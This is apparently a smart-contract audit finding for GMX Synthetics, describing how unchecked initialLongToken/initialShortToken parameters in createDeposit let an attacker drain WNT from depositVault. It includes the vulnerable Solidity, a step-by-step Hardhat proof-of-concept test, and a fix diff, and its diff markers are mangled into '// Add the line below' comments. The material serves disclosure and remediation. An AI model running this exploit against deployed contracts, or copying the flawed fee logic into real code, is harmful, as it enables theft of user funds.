WNT in depositVault can be drained by abusing initialLongToken/initialShortToken of CreateDepositParams
The attacker can abuse the initialLongToken/initialShortToken of `CreateDepositParams` to drain all the WNT from depositVault.\\n```\\n    function createDeposit(\\n        DataStore dataStore,\\n        EventEmitter eventEmitter,\\n        DepositVault depositVault,\\n        address account,\\n        CreateDepositParams memory params\\n    ) external returns (bytes32) {\\n        Market.Props memory market = MarketUtils.getEnabledMarket(dataStore, params.market);\\n\\n        uint256 initialLongTokenAmount = depositVault.recordTransferIn(params.initialLongToken);\\n        uint256 initialShortTokenAmount = depositVault.recordTransferIn(params.initialShortToken);\\n\\n        address wnt = TokenUtils.wnt(dataStore);\\n\\n        if (market.longToken == wnt) {\\n            initialLongTokenAmount -= params.executionFee;\\n        } else if (market.shortToken == wnt) {\\n            initialShortTokenAmount -= params.executionFee;\\n```\\n\\nThe `initialLongToken` and `initialShortToken` of `CreateDepositParams` can be set to any token address and there is no check for the `initialLongToken` and `initialShortToken` during `createDeposit`. The attacker can set initialLongToken/initialShortToken to a token(USDC e.g.) with less value per unit than WNT and for a market with `market.longToken == wnt` or `market.shortToken == wnt`, `params.executionFee` will be wrongly subtracted from `initialLongTokenAmount` or `initialLongTokenAmount`. This allows the attacker to have a controllable large `params.executionFee` by sending tokens with less value. By calling `cancelDeposit`, `params.executionFee` amount of WNT will be repaid to the attacker.\\nHere is a PoC test case that drains WNT from depositVault:\\n```\\ndiff --git a/gmx-synthetics/test/router/ExchangeRouter.ts b/gmx-synthetics/test/router/ExchangeRouter.ts\\nindex 7eca238..c40a71c 100644\\n--- a/gmx-synthetics/test/router/ExchangeRouter.ts\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/gmx-synthetics/test/router/ExchangeRouter.ts\\n@@ -103,6 // Add the line below\\n103,82 @@ describe("ExchangeRouter", () => {\\n     });\\n   });\\n \\n// Add the line below\\n  it("createDepositPoC", async () => {\\n// Add the line below\\n    // simulate normal user deposit\\n// Add the line below\\n    await usdc.mint(user0.address, expandDecimals(50 * 1000, 6));\\n// Add the line below\\n    await usdc.connect(user0).approve(router.address, expandDecimals(50 * 1000, 6));\\n// Add the line below\\n    const tx = await exchangeRouter.connect(user0).multicall(\\n// Add the line below\\n      [\\n// Add the line below\\n        exchangeRouter.interface.encodeFunctionData("sendWnt", [depositVault.address, expandDecimals(11, 18)]),\\n// Add the line below\\n        exchangeRouter.interface.encodeFunctionData("sendTokens", [\\n// Add the line below\\n          usdc.address,\\n// Add the line below\\n          depositVault.address,\\n// Add the line below\\n          expandDecimals(50 * 1000, 6),\\n// Add the line below\\n        ]),\\n// Add the line below\\n        exchangeRouter.interface.encodeFunctionData("createDeposit", [\\n// Add the line below\\n          {\\n// Add the line below\\n            receiver: user0.address,\\n// Add the line below\\n            callbackContract: user2.address,\\n// Add the line below\\n            market: ethUsdMarket.marketToken,\\n// Add the line below\\n            initialLongToken: ethUsdMarket.longToken,\\n// Add the line below\\n            initialShortToken: ethUsdMarket.shortToken,\\n// Add the line below\\n            longTokenSwapPath: [ethUsdMarket.marketToken, ethUsdSpotOnlyMarket.marketToken],\\n// Add the line below\\n            shortTokenSwapPath: [ethUsdSpotOnlyMarket.marketToken, ethUsdMarket.marketToken],\\n// Add the line below\\n            minMarketTokens: 100,\\n// Add the line below\\n            shouldUnwrapNativeToken: true,\\n// Add the line below\\n            executionFee,\\n// Add the line below\\n            callbackGasLimit: "200000",\\n// Add the line below\\n          },\\n// Add the line below\\n        ]),\\n// Add the line below\\n      ],\\n// Add the line below\\n      { value: expandDecimals(11, 18) }\\n// Add the line below\\n    );\\n// Add the line below\\n\\n// Add the line below\\n    // depositVault has WNT balance now\\n// Add the line below\\n    let vaultWNTBalance = await wnt.balanceOf(depositVault.address);\\n// Add the line below\\n    expect(vaultWNTBalance.eq(expandDecimals(11, 18)));\\n// Add the line below\\n\\n// Add the line below\\n    // user1 steal WNT from depositVault\\n// Add the line below\\n    await usdc.mint(user1.address, vaultWNTBalance.add(1));\\n// Add the line below\\n    await usdc.connect(user1).approve(router.address, vaultWNTBalance.add(1));\\n// Add the line below\\n\\n// Add the line below\\n    // Step 1. create deposit with malicious initialLongToken\\n// Add the line below\\n    await exchangeRouter.connect(user1).multicall(\\n// Add the line below\\n      [\\n// Add the line below\\n        exchangeRouter.interface.encodeFunctionData("sendTokens", [\\n// Add the line below\\n          usdc.address,\\n// Add the line below\\n          depositVault.address,\\n// Add the line below\\n          vaultWNTBalance.add(1),\\n// Add the line below\\n        ]),\\n// Add the line below\\n        exchangeRouter.interface.encodeFunctionData("createDeposit", [\\n// Add the line below\\n          {\\n// Add the line below\\n            receiver: user1.address,\\n// Add the line below\\n            callbackContract: user2.address,\\n// Add the line below\\n            market: ethUsdMarket.marketToken,\\n// Add the line below\\n            initialLongToken: usdc.address,       // use usdc instead of WNT\\n// Add the line below\\n            initialShortToken: ethUsdMarket.shortToken,\\n// Add the line below\\n            longTokenSwapPath: [],\\n// Add the line below\\n            shortTokenSwapPath: [],\\n// Add the line below\\n            minMarketTokens: 0,\\n// Add the line below\\n            shouldUnwrapNativeToken: true,\\n// Add the line below\\n            executionFee: vaultWNTBalance,\\n// Add the line below\\n            callbackGasLimit: "0",\\n// Add the line below\\n          },\\n// Add the line below\\n        ]),\\n// Add the line below\\n      ],\\n// Add the line below\\n    );\\n// Add the line below\\n\\n// Add the line below\\n    // Step 2. cancel deposit to drain WNT\\n// Add the line below\\n    const depositKeys = await getDepositKeys(dataStore, 0, 2);\\n// Add the line below\\n    // const deposit = await reader.getDeposit(dataStore.address, depositKeys[1]);\\n// Add the line below\\n    // console.log(deposit);\\n// Add the line below\\n    // console.log(depositKeys[1]);\\n// Add the line below\\n    await expect(exchangeRouter.connect(user1).cancelDeposit(depositKeys[1]));\\n// Add the line below\\n\\n// Add the line below\\n    // WNT is drained from depositVault\\n// Add the line below\\n    expect(await wnt.balanceOf(depositVault.address)).eq(0);\\n// Add the line below\\n  });\\n// Add the line below\\n\\n   it("createOrder", async () => {\\n     const referralCode = hashString("referralCode");\\n     await usdc.mint(user0.address, expandDecimals(50 * 1000, 6));\\n```\\n
```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/gmx// Remove the line below\\nsynthetics/contracts/deposit/DepositUtils.sol b/gmx// Remove the line below\\nsynthetics/contracts/deposit/DepositUtils.sol\\nindex fae1b46..2811a6d 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/gmx// Remove the line below\\nsynthetics/contracts/deposit/DepositUtils.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/gmx// Remove the line below\\nsynthetics/contracts/deposit/DepositUtils.sol\\n@@ // Remove the line below\\n74,9 // Add the line below\\n74,9 @@ library DepositUtils {\\n \\n         address wnt = TokenUtils.wnt(dataStore);\\n \\n// Remove the line below\\n        if (market.longToken == wnt) {\\n// Add the line below\\n        if (params.initialLongToken == wnt) {\\n             initialLongTokenAmount // Remove the line below\\n= params.executionFee;\\n// Remove the line below\\n        } else if (market.shortToken == wnt) {\\n// Add the line below\\n        } else if (params.initialShortToken == wnt) {\\n             initialShortTokenAmount // Remove the line below\\n= params.executionFee;\\n         } else {\\n             uint256 wntAmount = depositVault.recordTransferIn(wnt);\\n```\\n
The malicious user can drain all WNT from depositVault.
```\\n    function createDeposit(\\n        DataStore dataStore,\\n        EventEmitter eventEmitter,\\n        DepositVault depositVault,\\n        address account,\\n        CreateDepositParams memory params\\n    ) external returns (bytes32) {\\n        Market.Props memory market = MarketUtils.getEnabledMarket(dataStore, params.market);\\n\\n        uint256 initialLongTokenAmount = depositVault.recordTransferIn(params.initialLongToken);\\n        uint256 initialShortTokenAmount = depositVault.recordTransferIn(params.initialShortToken);\\n\\n        address wnt = TokenUtils.wnt(dataStore);\\n\\n        if (market.longToken == wnt) {\\n            initialLongTokenAmount -= params.executionFee;\\n        } else if (market.shortToken == wnt) {\\n            initialShortTokenAmount -= params.executionFee;\\n```\\n